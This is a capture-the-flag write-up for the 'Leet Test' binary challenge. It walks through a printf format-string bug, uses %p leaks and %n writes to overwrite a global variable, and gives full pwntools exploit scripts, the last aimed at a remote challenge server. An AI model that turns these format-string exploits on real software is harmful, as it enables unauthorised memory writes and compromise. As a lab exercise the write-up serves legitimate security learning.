Leet Test

1) tried out the binary

2) checked security

```
(vigneswar  vigneswarPC)-[~/Reverse/Leet Test]
$ checksec ./leet_test
[*] '/home/vigneswar/Reverse/Leet Test/leet_test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

3) decompiled the binary

```
2 void main(void)
 3
 4 {
 5
    long in_FS_OFFSET;
 6
    uint local 13c;
 7
    int local_138;
 8
    int local 134;
 9
    void *local 130;
    char local_128 [280];
10
    undefined8 local_10;
11
12
13
    local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
14
    initialize();
15
    local 138 = open("/dev/urandom",0);
     read(local_138,&local_13c,4);
16
17
    close(local_138);
18
    local_13c = local_13c & 0xffff;
19
    do {
20
       printf("Welcome to HTB!\nPlease enter your name: ");
21
       fgets(local 128,0x100,stdin);
22
       printf("Hello, ");
23
       printf(local 128);
       if (local_13c * 0x1337c0de == winner) {
24
25
         local_134 = open("flag.txt",0);
26
         local_130 = malloc(0x100);
27
         read(local_134, local_130, 0x100);
28
         close(local 134);
         printf("\nCome right in! %s\n",local_130);
29
30
         FUN 00401160(0);
31
       puts("Sorry! You aren\'t 1337 enough :(\nPlease come back later\n-------
32
33
    } while( true );
34 }
35
```

- 4) Vulnerabilities
- i) printf vulnerability our input is passed directly into printf
- ii) after 5 arguments, printf pops from stack

1st arg - Destination operand	rdi	edi	di	dil
2nd arg - Source operand	rsi	esi	si	sil
3rd arg	rdx	edx	dx	dl
4th arg - Loop counter	rcx	есх	сх	cl
5th arg	r8	r8d	r8w	r8b
6th arg	r9	r9d	r9w	r9b

iii) %n

n The number of characters written so far is stored into the integer pointed to by the corresponding argument. That argument shall be an int *, or variant whose size matches the (optionally) supplied integer length modifier. No argument is converted. (This specifier is not supported by the bionic C library.) The behavior is undefined if the conversion specification includes any flags, a field width, or a precision.

5) more info

Format Specifiers:

- '%c': Character
- * '%d' or '%i': Signed decimal integer
- '%u': Unsigned decimal integer
- '%o': Octal integer
- '%x` or '%X`: Hexadecimal integer
- "Xf": Floating-point number in decimal notation
- " '%e' or '%E': Floating-point number in scientific notation
- " '%g' or '%G': Use '%f' or '%e' as needed
- '%s': String
- '%p': Pointer address
- '%n': Store the number of characters written so far

Flags:

- '+': Forces to precede the result with a plus or minus sign (+ or -) even for positive numbers.
- `-`: Left-align the output within the specified width.
- `0`: Pad with zeros instead of spaces.
- ``(space): If no sign is going to be written, a blank space is inserted before the value.
- "#": Used with o, x, or X specifiers, the value is preceded with 0, 0x, or 0X respectively
 for values different than zero.
- * `*`: Takes an integer value from the argument list and uses it as the field width or precision.
- `.` (dot): Separates the field width and precision in a specifier.

Field Width and Precision:

- * `*` (asterisk): Width or precision is specified as an additional argument.
- * `n\$`: Specifies that the nth argument is to be used as the field width or precision.

Length Modifiers:

- 'h': Short (for integer specifiers)
- `1`: Long (for integer and floating-point specifiers)
- `11`: Long long (for integer specifiers)
- 'L': Long double (for floating-point specifiers)
- `z`: Size_t (for integer specifiers)
- 't': Ptrdiff_t (for integer specifiers)
- 'j': intmax_t (for integer specifiers)

- 6) example
- i) level one testing directly on c, we were able to write arbitary values on count using %n and padding

```
C test.c

1  #include <stdio.h>

2

3  int main(){
4     int count;
5     printf("%d", count);
7  }

PROBLEMS OUTPUT DEBUGCONSOLE TERMINAL PORTS 6

(vigneswar@VigneswarPC)-[~/Reverse/Leet Test]

(vigneswar@VigneswarPC)-[~/Reverse/Leet Test]
```

ii) level two - testing using input

```
C experiment.c
     #include <stdio.h>
 1
  2
     // gcc experiment.c -o experiment -no-pie
  3
     4
  5
     int main()
 6
     {
         char input[100];
 8
         fgets(input, 100, stdin);
 9
         printf(input);
 10
         if(target != 0x1443c0de){
11
             printf("flag{f0rm4ts_ar3_d4nger!}\n");
12
13
14
         else{
             printf("You failed miserably noob!");
 15
 16
 17
 18
```

```
🕏 test.py > ...
       from pwn import *
  1
  2
       io = process('./experiment')
  3
       context.terminal = ['tmux', 'splitw', '-h']
       address = p64(0x404028)
  5
       payload =b"%7$11n" + b'aa' + address
  6
       io.sendline(payload)
       io.interactive()
  8
PROBLEMS 2
                                              PORTS 6
             OUTPUT
                      DEBUG CONSOLE
                                    TERMINAL
  -(vigneswar&VigneswarPC)-[~/Reverse/Leet Test]
$ python3 test.py
[+] Starting local process './experiment': pid 6795
[*] Switching to interactive mode
[*] Process './experiment' stopped with exit code 0 (pid 6795)
aa(@@flag{f0rm4ts ar3 d4nger!}
[*] Got EOF while reading in interactive
```

iii) level 3 - changing value in target application

```
from pwn import *

# basic setup
context.arch = 'x86_64'
io = process('./leet_test')
signal.signal(signal.SIGALRM, signal.SIG_IGN)
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io, gdbscript='b *0x40139c\nc')

# find value of winner
io.sendlineafter(b':', b'%p'*7)
winner_value = int(io.recvuntil(b'\n').rpartition(b')')[-1].strip(), 16)*0x1337c0de

# set the value of winner
winner_address = p64(0x404078)
payload = b'123456789%12$lln' + winner_address
io.sendlineafter(b':', payload)

io.interactive()
```

```
gef> x 0x404078
0x404078 <winner>: 0x00000009
```

```
iv) level 4 - exploiting in local machine
from pwn import *
# basic setup
context.arch = 'x86 64'
io = process('./leet_test')
signal.signal(signal.SIGALRM, signal.SIG_IGN)
context.terminal = ['tmux', 'splitw', '-h']
# find value of winner
io.sendlineafter(b':', b'%p'*7)
rand_value = int(io.recvuntil(b'\n').rpartition(b')')[-1].strip()[:6], 16)
print(f"Random Value: {hex(rand_value)}")
winner value = (rand value*0x1337c0de)&0xffffffff
print(f"Winner Value: {hex(winner_value)}")
# set the value of winner
def execute fmt(payload):
   io.sendlineafter(b':', payload)
   return io.recvline()
f = FmtStr(execute_fmt=execute_fmt, offset=10)
f.write(0x404078, p64(winner_value))
f.execute_writes()
io.interactive()
```

7) exploitation

```
from pwn import *
# basic setup
context.arch = 'x86_64'
io = process(['nc', '188.166.175.58', '32122'])
signal.signal(signal.SIGALRM, signal.SIG_IGN)
context.terminal = ['tmux', 'splitw', '-h']
# find value of winner
io.sendlineafter(b':', b'%p'*7)
rand_value = int(io.recvuntil(b'\n').rpartition(b')')[-1].strip()[:6], 16)
print(f"Random Value: {hex(rand_value)}")
winner_value = (rand_value*0x1337c0de)&0xffffffff
print(f"Winner Value: {hex(winner value)}")
# set the value of winner
def execute_fmt(payload):
   io.sendlineafter(b':', payload)
   return io.recvline()
f = FmtStr(execute_fmt=execute_fmt, offset=10)
f.write(0x404078, p64(winner_value))
f.execute_writes()
io.interactive()
```